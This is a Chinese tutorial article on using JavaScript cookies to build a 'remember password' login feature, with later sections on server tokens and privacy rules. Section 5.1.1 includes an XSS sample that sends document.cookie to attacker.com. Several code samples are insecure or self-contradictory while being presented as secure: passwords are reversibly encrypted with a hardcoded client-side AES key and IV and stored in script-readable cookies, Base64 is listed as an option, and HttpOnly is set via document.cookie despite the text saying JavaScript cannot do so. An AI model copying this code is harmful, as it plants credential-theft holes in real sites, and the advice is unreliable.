首页 > 网络编程 > JavaScript > javascript技巧 > JavaScript Cookie登录记住密码

JavaScript操作Cookie实现登录记住密码功能

2025-09-16 10:13:46 作者：Emmamkq~~

在网页开发中,记住密码功能常通过浏览器的Cookie机制实现,本文详细讲解了使用JavaScript设置和读取Cookie的方法,包括创建键值对、设置过期时间、路径域及解析读取流程,需要的朋友可以参考下

简介：在网页开发中，“记住密码”功能常通过浏览器的Cookie机制实现。本文详细讲解了使用JavaScript设置和读取Cookie的方法，包括创建键值对、设置过期时间、路径域及解析读取流程。同时，文章还提供了完整的实现示例，并强调了安全性问题，如密码加密存储和HTTPS传输的必要性。通过本文学习，开发者可掌握使用JS操作Cookie实现登录时记住密码的核心功能，提升用户体验。

1. Cookie基础概念与作用

Cookie 是 Web 开发中用于在客户端（浏览器）存储小量数据的一种机制。它由服务器通过 HTTP 响应头设置，并在后续请求中由浏览器自动携带发送至服务器。Cookie 通常用于保存用户身份、会话状态或个性化设置。其结构包含名称（name）、值（value）、过期时间（expires）、路径（path）、域名（domain）以及安全标志（secure、HttpOnly）等属性。在“记住密码”等用户状态保持场景中，Cookie 发挥着关键作用，为前端实现自动登录提供了基础支持。

2. 使用JavaScript设置Cookie

在现代 Web 开发中，Cookie 仍然是维护用户状态和实现“记住密码”等功能的重要工具。JavaScript 作为前端交互的核心语言，提供了直接操作 Cookie 的能力。本章将深入探讨如何使用 JavaScript 设置 Cookie，包括基本语法格式、动态创建方式以及安全属性的设置策略，为后续实现“记住密码”功能提供坚实的技术支撑。

2.1 Cookie的基本语法格式

Cookie 是一段文本数据，存储在用户的浏览器中，通常以键值对的形式存在。浏览器在每次向服务器发送请求时，都会自动携带相关的 Cookie 数据。

2.1.1 设置Cookie的键值对

在 JavaScript 中，设置 Cookie 的最基础方式是通过 document.cookie 属性进行赋值。其基本格式如下：

document.cookie = "key=value";

其中：

- key 是 Cookie 的名称；
- value 是 Cookie 的值。

例如：

document.cookie = "username=admin";

这段代码会创建一个名为 username 的 Cookie，值为 admin 。

需要注意的是， document.cookie 是一个特殊的属性，它既可以读取也可以写入。每次写入操作都会添加一个新的 Cookie 或者更新已有 Cookie。

2.1.2 设置过期时间、路径和域名

默认情况下，Cookie 是会话 Cookie，浏览器关闭后就会被删除。若希望 Cookie 在关闭浏览器后仍然存在，需要设置 expires 或 max-age 属性。此外，还可以设置路径（ path ）和域名（ domain ）来控制 Cookie 的作用范围。

示例代码如下：

document.cookie = "username=admin; expires=Thu, 31 Dec 2025 23:59:59 GMT; path=/; domain=example.com";

参数说明：

属性名	说明
expires	Cookie 的过期时间，格式为 GMT 时间字符串
max-age	Cookie 的最大生存时间（秒），优先级高于 expires
path	Cookie 的作用路径，如 / 表示整个网站
domain	Cookie 的作用域名，如 .example.com 表示子域共享
secure	表示 Cookie 只能通过 HTTPS 协议传输
HttpOnly	表示 Cookie 不能被 JavaScript 访问

注意：多个 Cookie 属性之间用分号分隔，顺序不影响解析。

2.2 使用JavaScript动态创建Cookie

在实际开发中，通常需要根据用户行为或系统状态动态创建 Cookie。这就要求我们能够根据变量构建完整的 Cookie 字符串，并将其写入 document.cookie 。

2.2.1 构建完整的Cookie字符串

为了提高可读性和灵活性，我们可以编写一个函数，用于构建完整的 Cookie 字符串。

function createCookie(name, value, days, path = '/', domain = '', secure = false) {
    let cookieString = `${encodeURIComponent(name)}=${encodeURIComponent(value)}`;
    if (days) {
        const date = new Date();
        date.setTime(date.getTime() + (days * 24 * 60 * 60 * 1000));
        cookieString += `; expires=${date.toUTCString()}`;
    }
    cookieString += `; path=${path}`;
    if (domain) {
        cookieString += `; domain=${domain}`;
    }
    if (secure) {
        cookieString += `; secure`;
    }
    return cookieString;
}

代码逻辑分析：

编码处理 ：使用 encodeURIComponent 对键和值进行编码，防止特殊字符引发问题。
过期时间处理 ：如果传入 days 参数，就计算未来的过期时间并拼接到字符串中。
路径与域名 ：根据参数添加 path 和 domain 。
安全属性 ：如果 secure 为 true ，添加 secure 属性。

示例调用：

const cookie = createCookie("rememberMe", "true", 7, '/', 'example.com', true);
document.cookie = cookie;

此调用将创建一个名为 rememberMe 的 Cookie，值为 true ，有效期为 7 天，作用路径为整个网站，作用域为 example.com ，并通过 HTTPS 传输。

2.2.2 将Cookie写入document.cookie属性

写入 Cookie 的操作非常简单，只需将构建好的字符串赋值给 document.cookie ：

document.cookie = cookie;

由于浏览器对 Cookie 的大小和数量有限制（通常单个域名最多 20 条 Cookie，每条不超过 4KB），因此在写入时应尽量精简数据内容，避免不必要的信息存储。

技巧：如果要设置多个 Cookie，建议多次调用 document.cookie = ... 而不是一次性写入所有内容。

2.3 设置安全属性与加密策略

在实际应用中，尤其是涉及用户敏感信息如“记住密码”时，必须对 Cookie 设置安全属性和加密策略，以防止 Cookie 被窃取或篡改。

2.3.1 HttpOnly、Secure等属性的作用

以下是常用的 Cookie 安全属性及其作用：

属性名	作用描述
HttpOnly	防止跨站脚本攻击（XSS），JavaScript 无法访问该 Cookie
Secure	Cookie 只能通过 HTTPS 协议传输，防止中间人攻击
SameSite	控制 Cookie 是否随跨站请求一起发送，缓解 CSRF 攻击

注意： HttpOnly 和 SameSite 通常由后端设置，前端 JavaScript 无法设置这些属性。

2.3.2 对密码字段进行加密处理后再写入Cookie

出于安全考虑， 永远不要将明文密码存储在 Cookie 中 。正确的做法是对密码字段进行加密处理后再写入。

示例：使用 AES 加密密码字段

我们可以使用 JavaScript 的加密库如 crypto-js 对数据进行加密。

<script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js"></script>

function encryptData(data, secretKey) {
    return CryptoJS.AES.encrypt(data, secretKey).toString();
}

function decryptData(cipherText, secretKey) {
    const bytes = CryptoJS.AES.decrypt(cipherText, secretKey);
    return bytes.toString(CryptoJS.enc.Utf8);
}

示例调用：

const secretKey = "my-secret-key-123";
const password = "user_password_123";
const encryptedPassword = encryptData(password, secretKey);

// 写入 Cookie
const cookie = createCookie("rememberPassword", encryptedPassword, 7, '/', 'example.com', true);
document.cookie = cookie;

这样写入的 Cookie 中保存的是加密后的密码数据，即使 Cookie 被窃取，攻击者也无法直接获取明文密码。

注意：密钥（secretKey）不应硬编码在客户端，应由服务器端动态生成并通过安全通道传输。

小结与过渡

本章系统地介绍了使用 JavaScript 设置 Cookie 的方式，从基础语法到动态构建 Cookie 字符串，再到安全属性的配置与数据加密策略。这些内容为后续实现“记住密码”功能提供了完整的技术支持。

下一章将深入探讨如何使用 JavaScript 读取 Cookie 数据，并解析其结构，以实现自动登录等实际功能。

3. JavaScript读取Cookie的方法

在Web开发中，Cookie不仅用于写入数据，更关键的是如何在后续请求中正确读取这些数据。本章将深入讲解JavaScript如何从浏览器中读取Cookie，解析其中的键值对，并结合实际应用场景（如自动登录）演示如何高效提取特定值。

3.1 从 document.cookie 中获取数据

在浏览器环境中，JavaScript可以通过 document.cookie 属性访问当前页面的Cookie信息。这个属性返回的是一个字符串，包含所有与当前页面匹配的Cookie键值对。理解其格式和解析方法是实现读取逻辑的第一步。

3.1.1 Cookie字符串的获取方式

JavaScript通过以下方式获取当前页面的Cookie字符串：

const cookieString = document.cookie;
console.log(cookieString);

执行上述代码后， cookieString 将包含如下格式的字符串：

username=JohnDoe; remember=true; session_id=abc123xyz

逐行分析：

第一行：使用 document.cookie 读取浏览器中当前页面关联的Cookie。
第二行：打印获取到的字符串，便于调试和验证。

参数说明：

- document.cookie 是一个特殊的DOM属性，只返回当前域名、路径和协议下可访问的Cookie，受Same-Origin Policy限制。
- 返回值是多个键值对，用分号加空格分隔。

3.1.2 分割与解析Cookie字符串

为了便于操作，通常需要将Cookie字符串转换为键值对对象。以下是一个典型的解析方法：

function parseCookies(cookieString) {
    const cookies = {};
    if (!cookieString) return cookies;

    const pairs = cookieString.split('; ');
    pairs.forEach(pair => {
        const [key, value] = pair.split('=');
        cookies[key] = decodeURIComponent(value);
    });
    return cookies;
}

逐行分析：

第1行：定义函数 parseCookies ，接收一个Cookie字符串作为参数。
第2行：初始化一个空对象 cookies ，用于存储解析后的键值对。
第3行：判断输入是否为空，防止后续操作出错。
第5行：使用 ; 作为分隔符将字符串拆分为键值对数组。
第6~9行：遍历每个键值对，按 = 分割键和值，并使用 decodeURIComponent 还原URL编码。
第10行：返回解析后的对象。

代码执行逻辑说明：

- 假设输入为： username=JohnDoe; remember=true
- 输出对象为：

{
    username: "JohnDoe",
    remember: "true"
}

3.1.3 示例：读取并打印当前所有Cookie

const cookieObj = parseCookies(document.cookie);
console.log(cookieObj);

输出示例：

{
    username: "JohnDoe",
    remember: "true",
    session_id: "abc123xyz"
}

流程图展示解析流程：

graph TD
    A[开始] --> B[获取document.cookie字符串]
    B --> C{是否为空？}
    C -->|是| D[返回空对象]
    C -->|否| E[按"; "分割键值对]
    E --> F[遍历每个键值对]
    F --> G[按"="分割键和值]
    G --> H[解码值]
    H --> I[存入对象]
    I --> J[返回结果对象]

3.2 提取特定键值对的实现技巧

在实际应用中，我们往往不需要读取所有Cookie，而是希望根据键名提取特定值。例如，在实现“记住密码”功能时，我们需要提取 remember 或 username 字段。

3.2.1 遍历Cookie键值对的方法

在前文的 parseCookies 函数基础上，我们可以通过遍历对象快速提取特定键的值：

function getCookieValue(key) {
    const cookies = parseCookies(document.cookie);
    return cookies[key] || null;
}

逐行分析：

第1行：定义函数 getCookieValue ，接收一个键名作为参数。
第2行：调用 parseCookies 函数将Cookie字符串解析为对象。
第3行：返回对象中对应键的值，若不存在则返回 null 。

使用示例：

const username = getCookieValue('username');
console.log(`当前用户名：${username}`);

输出示例：

当前用户名：JohnDoe

3.2.2 使用正则表达式提取目标值

如果不使用对象解析方式，也可以直接通过正则表达式提取特定键的值。这种方式在性能要求较高的场景下可能更高效。

function getCookieValueByRegex(key) {
    const match = document.cookie.match(new RegExp(`(^| )${key}=([^;]+)`));
    return match ? decodeURIComponent(match[2]) : null;
}

逐行分析：

第1行：定义函数 getCookieValueByRegex ，接收键名作为参数。
第2行：使用正则表达式匹配键值对。 (^| ) 表示键名前可以是字符串开始或空格，确保匹配准确。
第3行：如果匹配成功，返回解码后的值；否则返回 null 。

参数说明：

- 正则表达式中的 ([^;]+) 表示匹配非分号字符，直到遇到分号为止。
- match[2] 表示第二个捕获组，即值部分。

使用示例：

const remember = getCookieValueByRegex('remember');
console.log(`是否记住密码：${remember}`);

输出示例：

是否记住密码：true

3.2.3 性能对比：对象解析 vs 正则提取

方法	优点	缺点	适用场景
对象解析	逻辑清晰，便于后续多键操作	会解析全部Cookie	需要多次读取多个键
正则提取	速度快，按需提取	代码复杂度高	仅需读取一个键

结论：

- 若需要多次读取多个Cookie键，建议使用对象解析方式。
- 若只需提取一个特定键，正则表达式更高效。

3.3 将Cookie值用于用户自动登录

在“记住密码”功能中，前端读取Cookie中的用户名和加密密码字段，并在页面加载时自动填充表单，实现自动登录。这一过程需要结合读取Cookie与表单操作。

3.3.1 检查是否存在“记住密码”标记

通常我们会使用一个 remember 字段来标识用户是否启用了“记住密码”功能。在页面加载时检查该标记：

function isRememberMeEnabled() {
    return getCookieValue('remember') === 'true';
}

逻辑说明：

- 调用 getCookieValue 函数读取 remember 字段。
- 判断其值是否为字符串 "true" ，返回布尔值。

使用示例：

if (isRememberMeEnabled()) {
    console.log("用户启用了记住密码功能");
    // 继续执行自动登录逻辑
} else {
    console.log("用户未启用记住密码");
}

3.3.2 自动填充用户名与解密密码

当检测到“记住密码”启用后，可以读取用户名和加密后的密码字段，并将其填充到登录表单中。

function autoFillLoginForm() {
    if (!isRememberMeEnabled()) return;

    const username = getCookieValue('username');
    const encryptedPassword = getCookieValue('password');

    if (username && encryptedPassword) {
        const password = decryptPassword(encryptedPassword); // 假设存在解密函数
        document.getElementById('username').value = username;
        document.getElementById('password').value = password;
        document.getElementById('remember').checked = true;
    }
}

逐行分析：

第1~2行：检查是否启用记住密码功能，若未启用则直接返回。
第4~5行：读取用户名和加密密码字段。
第7行：调用解密函数（此处假设存在 decryptPassword 函数）还原原始密码。
第8~11行：填充表单字段并设置“记住密码”复选框为已选状态。

3.3.3 示例：页面加载时自动填充

在页面加载完成后调用 autoFillLoginForm 函数：

<body onload="autoFillLoginForm()">
    <form id="loginForm">
        <input type="text" id="username" placeholder="用户名">
        <input type="password" id="password" placeholder="密码">
        <label><input type="checkbox" id="remember"> 记住密码</label>
        <button type="submit">登录</button>
    </form>
</body>

注意事项：
- 实际开发中，密码字段不应直接存储明文，而应使用加密或Token机制。
- 前端解密逻辑应与后端加密算法一致，如使用AES加密、Base64编码等。

3.3.4 表格：自动登录相关字段说明

字段名	类型	用途说明	是否必须
username	string	存储用户登录名	是
password	string	存储加密后的密码	是
remember	boolean	标记是否启用“记住密码”功能	是
session_id	string	可选，用于会话状态跟踪	否

通过本章内容，我们掌握了如何使用JavaScript读取浏览器中的Cookie，解析其结构，并提取特定键值对。同时结合实际场景，展示了如何将Cookie用于用户自动登录功能的实现。下一章将进一步介绍“记住密码”功能的完整实现流程，包括前后端协同处理逻辑与安全机制设计。

4. “记住密码”功能的完整实现流程

在现代Web应用中，“记住密码”功能已成为提升用户体验的重要一环。它允许用户在登录后，选择将账号信息（尤其是密码）保存在本地浏览器中，以便下次访问时自动填充登录表单。然而，实现这一功能不仅需要前端逻辑的精心设计，还必须兼顾安全性与隐私保护。本章将从功能需求分析、前端实现流程、自动填充逻辑到安全策略的集成，系统性地解析“记住密码”功能的完整实现路径。

4.1 功能需求与业务流程分析

4.1.1 用户勾选“记住密码”的触发逻辑

在登录页面中，通常会提供一个复选框（checkbox）让用户选择是否“记住密码”。该复选框的选中状态决定了是否将用户输入的账号和密码保存至浏览器的 document.cookie 中。

功能逻辑流程图如下：

graph TD
    A[用户输入账号密码] --> B{是否勾选"记住密码"?}
    B -- 是 --> C[将用户名与加密密码写入Cookie]
    B -- 否 --> D[不保存信息，仅当前会话使用]
    C --> E[设置Cookie过期时间]
    D --> F[登录成功后不保留凭证]

说明：

用户完成登录后，系统会根据用户的勾选状态决定是否执行 Cookie 写入操作。
若勾选，则需要将用户名与加密后的密码写入 Cookie，并设置合理的过期时间。
若未勾选，则仅在本次会话中保持登录状态，关闭浏览器后自动清除凭证。

4.1.2 登录成功后Cookie的写入流程

登录流程的核心是验证用户身份。当用户提交登录表单后，系统首先向服务器发起验证请求。若验证通过，则根据用户是否勾选“记住密码”来决定是否写入 Cookie。

流程图如下：

graph TD
    G[提交登录表单] --> H[发送登录请求]
    H --> I{服务器验证成功?}
    I -- 是 --> J{用户是否勾选"记住密码"?}
    J -- 是 --> K[写入加密的用户名与密码到Cookie]
    J -- 否 --> L[仅保持会话状态]
    I -- 否 --> M[提示登录失败]

关键点：

- 登录成功后写入 Cookie 是关键步骤，必须确保密码字段经过加密处理。
- Cookie 的过期时间建议设置为7天或30天，避免长期暴露敏感信息。

4.2 前端代码实现与事件绑定

4.2.1 表单提交事件与勾选状态监听

为了实现“记住密码”功能，我们需要监听登录表单的提交事件，并获取用户是否勾选了“记住密码”。

<form id="loginForm">
  <input type="text" id="username" placeholder="用户名">
  <input type="password" id="password" placeholder="密码">
  <label><input type="checkbox" id="rememberMe"> 记住密码</label>
  <button type="submit">登录</button>
</form>

document.getElementById('loginForm').addEventListener('submit', function (e) {
  e.preventDefault(); // 阻止默认提交行为

  const username = document.getElementById('username').value;
  const password = document.getElementById('password').value;
  const rememberMe = document.getElementById('rememberMe').checked;

  // 模拟发送登录请求
  login(username, password, rememberMe);
});

逻辑分析：

e.preventDefault() 阻止了默认的表单提交行为，以便我们进行自定义逻辑处理。
获取用户输入的用户名、密码以及是否勾选“记住密码”状态。
调用 login() 函数模拟向服务器发送登录请求。

4.2.2 用户名与加密密码的存储逻辑

当用户勾选“记住密码”并登录成功后，我们需要将用户名和加密后的密码写入 Cookie。

function setRememberMeCookie(username, encryptedPassword) {
  const expires = new Date();
  expires.setTime(expires.getTime() + 7 * 24 * 60 * 60 * 1000); // 设置7天过期时间

  document.cookie = `username=${encodeURIComponent(username)}; expires=${expires.toUTCString()}; path=/`;
  document.cookie = `password=${encodeURIComponent(encryptedPassword)}; expires=${expires.toUTCString()}; path=/`;
}

参数说明：

username ：明文用户名，可以不加密。
encryptedPassword ：加密后的密码字符串，建议使用 AES 或 Base64 编码。
expires ：Cookie 的过期时间，本例设置为7天。
path=/ ：确保 Cookie 在整个网站路径下可用。

逻辑解读：

使用 encodeURIComponent() 对用户名和密码进行编码，防止特殊字符导致解析错误。
设置 Cookie 的 expires 属性，使其在指定时间后失效。
将用户名与加密密码分别作为两个 Cookie 存储，便于后续读取。

4.3 页面加载时的自动填充逻辑

4.3.1 页面加载时读取Cookie内容

在用户访问登录页面时，如果之前选择了“记住密码”，我们应尝试从 Cookie 中读取用户名与密码，并自动填充表单。

function getCookie(name) {
  const cookies = document.cookie.split('; ');
  for (let cookie of cookies) {
    const [key, value] = cookie.split('=');
    if (key === name) {
      return decodeURIComponent(value);
    }
  }
  return null;
}

function autoFillLoginForm() {
  const username = getCookie('username');
  const encryptedPassword = getCookie('password');

  if (username && encryptedPassword) {
    document.getElementById('username').value = username;
    document.getElementById('password').value = decryptPassword(encryptedPassword);
    document.getElementById('rememberMe').checked = true;
  }
}

函数说明：

getCookie(name) ：用于从 document.cookie 中读取指定键名的 Cookie 值。
autoFillLoginForm() ：在页面加载时调用，尝试自动填充用户名与密码。

4.3.2 判断是否启用自动登录功能

虽然我们可以自动填充表单，但是否直接自动登录取决于业务逻辑需求。有些网站会在检测到 Cookie 存在时自动跳转到主页，而有些则仅自动填充。

window.addEventListener('load', function () {
  autoFillLoginForm();

  // 自动登录逻辑（可选）
  if (getCookie('rememberMe') && getCookie('token')) {
    window.location.href = '/dashboard';
  }
});

说明：

如果用户选择了“记住密码”并保留了有效的 Token，可以直接跳转到主页，实现“自动登录”。
否则，仅自动填充表单，等待用户手动提交。

4.4 安全与隐私保护措施集成

4.4.1 敏感信息的加密存储策略

将明文密码直接写入 Cookie 是极不安全的做法。因此，必须对密码进行加密处理。

// 示例：使用 CryptoJS AES 加密
function encryptPassword(password) {
  const key = CryptoJS.enc.Utf8.parse('1234567812345678');
  const iv = CryptoJS.enc.Utf8.parse('1234567812345678');
  const encrypted = CryptoJS.AES.encrypt(password, key, { iv: iv, mode: CryptoJS.mode.CBC, padding: CryptoJS.pad.Pkcs7 });
  return encrypted.toString();
}

// 解密函数
function decryptPassword(encryptedPassword) {
  const key = CryptoJS.enc.Utf8.parse('1234567812345678');
  const iv = CryptoJS.enc.Utf8.parse('1234567812345678');
  const decrypted = CryptoJS.AES.decrypt(encryptedPassword, key, { iv: iv, mode: CryptoJS.mode.CBC, padding: CryptoJS.pad.Pkcs7 });
  return decrypted.toString(CryptoJS.enc.Utf8);
}

加密策略分析：

加密方式	优点	缺点
AES	安全性高，广泛使用	需要密钥管理
Base64	简单易用	非加密，仅编码
RSA	支持非对称加密	性能较差，不适合前端处理

4.4.2 HTTPS协议对Cookie传输的保护作用

为了防止 Cookie 在传输过程中被中间人攻击（MITM），必须使用 HTTPS 协议进行加密通信。

Cookie 安全属性设置建议：

属性	用途说明
Secure	仅通过 HTTPS 传输 Cookie
HttpOnly	防止 XSS 攻击读取 Cookie
SameSite	防止 CSRF 攻击

修改写入 Cookie 的代码以包含安全属性：

document.cookie = `password=${encodeURIComponent(encryptedPassword)}; expires=${expires.toUTCString()}; path=/; Secure; HttpOnly; SameSite=Strict`;

说明：

Secure ：确保 Cookie 只能通过 HTTPS 发送。
HttpOnly ：防止 JavaScript 脚本访问 Cookie，避免 XSS 攻击。
SameSite ：防止跨站请求伪造（CSRF）攻击。

总结与延伸：

在实现“记住密码”功能时，开发者不仅要关注功能的可用性，更要注重安全性。从表单事件绑定、Cookie 写入与读取，到加密策略和 HTTPS 安全传输，每一步都需要谨慎处理。此外，还可以结合服务器端 Token 验证机制（如 JWT），构建更安全的“记住我”流程。下一章将深入探讨客户端与服务器端的协同验证机制，进一步完善整个登录系统的安全性与可靠性。

5. 客户端与服务器端的协同验证机制

在现代Web应用中，“记住密码”功能虽然提升了用户体验，但其安全性必须由客户端与服务器端协同保障。本章将深入探讨Cookie在客户端使用中的局限性，分析服务器端如何参与验证机制，并设计更安全的持久化登录方案，同时满足用户隐私保护和合规性要求。

5.1 客户端Cookie的局限性与风险

尽管Cookie在Web开发中被广泛使用，但其本身存在一些固有的局限性与安全隐患：

5.1.1 Cookie易被篡改或窃取

Cookie以明文形式存储在客户端，攻击者可以通过XSS（跨站脚本攻击）等方式窃取用户的Cookie信息，进而伪装成该用户进行非法操作。

示例：XSS注入窃取Cookie

<!-- 恶意脚本 -->
<script>
    document.write('<img src="http://attacker.com/steal?cookie=' + document.cookie + '">');
</script>

此脚本会将用户的Cookie信息发送到攻击者服务器。

5.1.2 单纯依赖Cookie的安全隐患

如果“记住密码”功能仅依赖于Cookie中的用户名和加密密码，一旦Cookie被窃取，攻击者可以绕过登录流程直接获取用户权限。因此，必须引入服务端验证机制来增强安全性。

5.2 服务器端对“记住密码”功能的支持

为了提升“记住密码”功能的安全性，服务端需要参与验证流程，避免客户端存储敏感信息。

5.2.1 服务端验证Cookie合法性

服务端可以在每次请求中验证Cookie中携带的令牌是否有效。例如，客户端在“记住我”功能中存储一个加密的Token，服务端维护一个Token映射表进行比对。

// 示例：Node.js中验证Token
const tokens = {}; // 假设这是一个数据库映射表

function verifyToken(token) {
    const user = tokens[token];
    if (user && !isTokenExpired(user.expiresAt)) {
        return user;
    }
    return null;
}

function isTokenExpired(expireTime) {
    return new Date() > new Date(expireTime);
}

5.2.2 使用Token机制替代明文Cookie

相比在Cookie中存储用户名和密码，更安全的做法是生成一个随机Token，并将其存储在服务端数据库中。客户端仅存储该Token。

Set-Cookie: remember_token=abc123xyz; Path=/; Secure; HttpOnly

服务端通过该Token查找用户信息，从而完成身份识别。

5.3 基于会话与持久化令牌的方案设计

为了实现安全的“记住密码”功能，通常结合短期会话Token（Session Token）与长期持久化Token（Refresh Token）机制。

5.3.1 使用Refresh Token延长登录状态

Session Token ：短期有效，用于API请求的身份验证。
Refresh Token ：长期有效，用于获取新的Session Token。

graph TD
    A[用户登录] --> B{记住我选中?}
    B -- 是 --> C[生成Refresh Token]
    C --> D[存储到数据库]
    D --> E[返回Refresh Token给客户端]
    B -- 否 --> F[生成短期Session Token]
    F --> G[设置Cookie]

5.3.2 Token的生成、验证与失效机制

生成Token ：使用JWT（JSON Web Token）或UUID生成随机字符串。
验证Token ：服务端查询数据库或缓存系统（如Redis）验证Token有效性。
Token失效 ：设置过期时间或在用户登出时主动删除。

// 示例：生成JWT Token
const jwt = require('jsonwebtoken');

const token = jwt.sign({ userId: 123 }, 'secret_key', { expiresIn: '1d' });

5.4 用户隐私保护与合规性要求

随着GDPR、CCPA等隐私法规的实施，网站在使用Cookie时必须遵守相关法律，保护用户隐私。

5.4.1 GDPR等隐私法规对Cookie使用的影响

根据GDPR规定，网站必须：

- 明确告知用户使用Cookie的目的；
- 获取用户同意；
- 提供清除或禁用Cookie的选项。

5.4.2 提供用户清除与禁用Cookie的选项

可以在前端提供一个“清除记忆”按钮，调用API删除服务端存储的Token，并清除客户端Cookie。

<button onclick="clearRememberMe()">清除记忆</button>

function clearRememberMe() {
    fetch('/api/auth/clear-remember', { method: 'POST', credentials: 'include' });
    document.cookie = "remember_token=; Path=/; Expires=Thu, 01 Jan 1970 00:00:00 GMT";
}

以上就是JavaScript操作Cookie实现登录记住密码功能的详细内容，更多关于JavaScript Cookie登录记住密码的资料请关注脚本之家其它相关文章！

JavaScript操作Cookie实现登录记住密码功能

1. Cookie基础概念与作用

2. 使用JavaScript设置Cookie

2.1 Cookie的基本语法格式

2.1.1 设置Cookie的键值对

2.1.2 设置过期时间、路径和域名

参数说明：

2.2 使用JavaScript动态创建Cookie

2.2.1 构建完整的Cookie字符串

2.2.2 将Cookie写入document.cookie属性

2.3 设置安全属性与加密策略

2.3.1 HttpOnly、Secure等属性的作用

2.3.2 对密码字段进行加密处理后再写入Cookie

小结与过渡

3. JavaScript读取Cookie的方法

3.1 从 document.cookie 中获取数据

3.1.1 Cookie字符串的获取方式

3.1.2 分割与解析Cookie字符串

3.1.3 示例：读取并打印当前所有Cookie

3.2 提取特定键值对的实现技巧

3.2.1 遍历Cookie键值对的方法

3.2.2 使用正则表达式提取目标值

3.2.3 性能对比：对象解析 vs 正则提取

3.3 将Cookie值用于用户自动登录

3.3.1 检查是否存在“记住密码”标记

3.3.2 自动填充用户名与解密密码

3.3.3 示例：页面加载时自动填充

3.3.4 表格：自动登录相关字段说明

4. “记住密码”功能的完整实现流程

4.1 功能需求与业务流程分析

4.1.1 用户勾选“记住密码”的触发逻辑

4.1.2 登录成功后Cookie的写入流程

4.2 前端代码实现与事件绑定

4.2.1 表单提交事件与勾选状态监听

4.2.2 用户名与加密密码的存储逻辑

4.3 页面加载时的自动填充逻辑

4.3.1 页面加载时读取Cookie内容

4.3.2 判断是否启用自动登录功能

4.4 安全与隐私保护措施集成

4.4.1 敏感信息的加密存储策略

4.4.2 HTTPS协议对Cookie传输的保护作用

5. 客户端与服务器端的协同验证机制

5.1 客户端Cookie的局限性与风险

5.1.1 Cookie易被篡改或窃取

5.1.2 单纯依赖Cookie的安全隐患

5.2 服务器端对“记住密码”功能的支持

5.2.1 服务端验证Cookie合法性

5.2.2 使用Token机制替代明文Cookie

5.3 基于会话与持久化令牌的方案设计

5.3.1 使用Refresh Token延长登录状态

5.3.2 Token的生成、验证与失效机制

5.4 用户隐私保护与合规性要求

5.4.1 GDPR等隐私法规对Cookie使用的影响

5.4.2 提供用户清除与禁用Cookie的选项

您可能感兴趣的文章: